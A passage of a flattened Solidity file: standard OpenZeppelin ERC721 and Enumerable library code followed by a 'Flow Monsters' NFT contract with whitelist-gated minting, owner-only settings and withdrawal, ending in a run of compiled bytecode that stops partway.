https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); _afterTokenTransfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); _afterTokenTransfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); _afterTokenTransfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Enumerable.sol) pragma solidity ^0.8.0; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // File: FLOW.sol //SPDX-License-Identifier: MIT pragma solidity ^0.8.7; contract FlowMonsters is ERC721Enumerable, Ownable, ReentrancyGuard { using Strings for uint256; string public baseURI; string public baseExtension = ".json"; uint256 public cost = 0.05 ether; uint256 public maxSupply = 100; uint256 public maxMintAmount = 10; uint256 public nftPerAddressLimit = 10; bool public paused = false; bool public onlyWhitelisted = true; address[] public whitelistedAddresses; mapping(address => uint256) public addressMintedBalance; constructor() ERC721("Flow Monsters", "FLOW") { setBaseURI("ipfs://QmfKmamLN9SRBzt9bhEXunjLWeZcd4pLyiZHWAmk1XgTJ7/"); mint(msg.sender, 1); } // internal function _baseURI() internal view virtual override returns (string memory) { return baseURI; } // public function mint(address _to, uint256 _mintAmount) public payable { require(!paused, "the contract is paused"); uint256 supply = totalSupply(); require(_mintAmount > 0, "need to mint at least 1 NFT"); require(_mintAmount <= maxMintAmount, "max mint amount per session exceeded"); require(supply + _mintAmount <= maxSupply, "max NFT limit exceeded"); if (msg.sender != owner()) { if(onlyWhitelisted == true) { require(isWhitelisted(_to), "user is not whitelisted"); uint256 ownerMintedCount = addressMintedBalance[_to]; require(ownerMintedCount + _mintAmount <= nftPerAddressLimit, "max NFT per address exceeded"); } require(msg.value >= cost * _mintAmount, "insufficient funds"); } for (uint256 i = 1; i <= _mintAmount; i++) { addressMintedBalance[_to]++; _safeMint(_to, supply + i); } } function isWhitelisted(address _user) public view returns (bool) { for (uint i = 0; i < whitelistedAddresses.length; i++) { if (whitelistedAddresses[i] == _user) { return true; } } return false; } function walletOfOwner(address _owner) public view returns (uint256[] memory) { uint256 ownerTokenCount = balanceOf(_owner); uint256[] memory tokenIds = new uint256[](ownerTokenCount); for (uint256 i; i < ownerTokenCount; i++) { tokenIds[i] = tokenOfOwnerByIndex(_owner, i); } return tokenIds; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, tokenId.toString(), baseExtension)) : ""; } //only owner function setNftPerAddressLimit(uint256 _limit) public onlyOwner { nftPerAddressLimit = _limit; } function setCost(uint256 _newCost) public onlyOwner { cost = _newCost; } function setMaxMintAmount(uint256 _newMaxMintAmount) public onlyOwner { maxMintAmount = _newMaxMintAmount; } function setMaxSupply(uint256 _newMaxSupply) public onlyOwner { require(totalSupply() <= _newMaxSupply, "max supply should be greater than or equal to total supply"); maxSupply = _newMaxSupply; } function setBaseURI(string memory _newBaseURI) public onlyOwner { baseURI = _newBaseURI; } function setBaseExtension(string memory _newBaseExtension) public onlyOwner { baseExtension = _newBaseExtension; } function pause(bool _state) public onlyOwner { paused = _state; } function setOnlyWhitelisted(bool _state) public onlyOwner { onlyWhitelisted = _state; } function whitelistUsers(address[] calldata _users) public onlyOwner { delete whitelistedAddresses; whitelistedAddresses = _users; } function withdraw() public payable onlyOwner { (bool os, ) = payable(owner()).call{value: address(this).balance}(""); require(os); } }
0x6080604052600436106102515760003560e01c80635c975abb11610139578063b88d4fde116100b6578063d0eb26b01161007a578063d0eb26b0146106ac578063d5abeb01146106cc578063da3ef23f146106e2578063e985e9c514610702578063edec5f271461074b578063f2fde38b1461076b57600080fd5b8063b88d4fde14610621578063ba4e5c4914610641578063ba7d2c7614610661578063c668286214610677578063c87b56dd1461068c57600080fd5b8063715018a6116100fd578063715018a61461059a5780638da5cb5b146105af57806395d89b41146105cd5780639c70b512146105e2578063a22cb4651461060157600080fd5b80635c975abb1461050b5780636352211e146105255780636c0360eb146105455780636f8b44b01461055a57806370a082311461057a57600080fd5b806323b872dd116101d257806340c10f191161019657806340c10f191461044b57806342842e0e1461045e578063438b63001461047e57806344a0d68a146104ab5780634f6ccce7146104cb57806355f804b3146104eb57600080fd5b806323b872dd146103c35780632f745c59146103e35780633af32abf146104035780633c952764146104235780633ccfd60b1461044357600080fd5b8063095ea7b311610219578063095ea7b31461032757806313faede61461034757806318160ddd1461036b57806318cae26914610380578063239c70ae146103ad57600080fd5b806301ffc9a71461025657806302329a291461028b57806306fdde03146102ad578063081812fc146102cf578063088a4ed014610307575b600080fd5b34801561026257600080fd5b506102766102713660046124a2565b61078b565b60405190151581526020015b60405180910390f35b34801561029757600080fd5b506102ab6102a6366004612487565b6107b6565b005b3480156102b957600080fd5b506102c26107fc565b60405161028291906126af565b3480156102db57600080fd5b506102ef6102ea366004612525565b61088e565b6040516001600160a01b039091168152602001610282565b34801561031357600080fd5b506102ab610322366004612525565b610923565b34801561033357600080fd5b506102ab6103423660046123e8565b610952565b34801561035357600080fd5b5061035d600e5481565b604051908152602001610282565b34801561037757600080fd5b5060085461035d565b34801561038c57600080fd5b5061035d61039b3660046122b8565b60146020526000908152604090205481565b3480156103b957600080fd5b5061035d60105481565b3480156103cf57600080fd5b506102ab6103de366004612306565b610a68565b3480156103ef57600080fd5b5061035d6103fe3660046123e8565b610a99565b34801561040f57600080fd5b5061027661041e3660046122b8565b610b2f565b34801561042f57600080fd5b506102ab61043e366004612487565b610b99565b6102ab610bdd565b6102ab6104593660046123e8565b610c7b565b34801561046a57600080fd5b506102ab610479366004612306565b610f7a565b34801561048a57600080fd5b5061049e6104993660046122b8565b610f95565b604051610282919061266b565b3480156104b757600080fd5b506102ab6104c6366004612525565b611037565b3480156104d757600080fd5b5061035d6104e6366004612525565b611066565b3480156104f757600080fd5b506102ab6105063660046124dc565b6110f9565b34801561051757600080fd5b506012546102769060ff1681565b34801561053157600080fd5b506102ef610540366004612525565b61113a565b34801561055157600080fd5b506102c26111b1565b34801561056657600080fd5b506102ab610575366004612525565b61123f565b34801561058657600080fd5b5061035d6105953660046122b8565b6112ec565b3480156105a657600080fd5b506102ab611373565b3480156105bb57600080fd5b50600a546001600160a01b03166102ef565b3480156105d957600080fd5b506102c26113a9565b3480156105ee57600080fd5b5060125461027690610100900460ff1681565b34801561060d57600080fd5b506102ab61061c3660046123be565b6113b8565b34801561062d57600080fd5b506102ab61063c366004612342565b6113c3565b34801561064d57600080fd5b506102ef61065c366004612525565b6113f5565b34801561066d57600080fd5b5061035d60115481565b34801561068357600080fd5b506102c261141f565b34801561069857600080fd5b506102c26106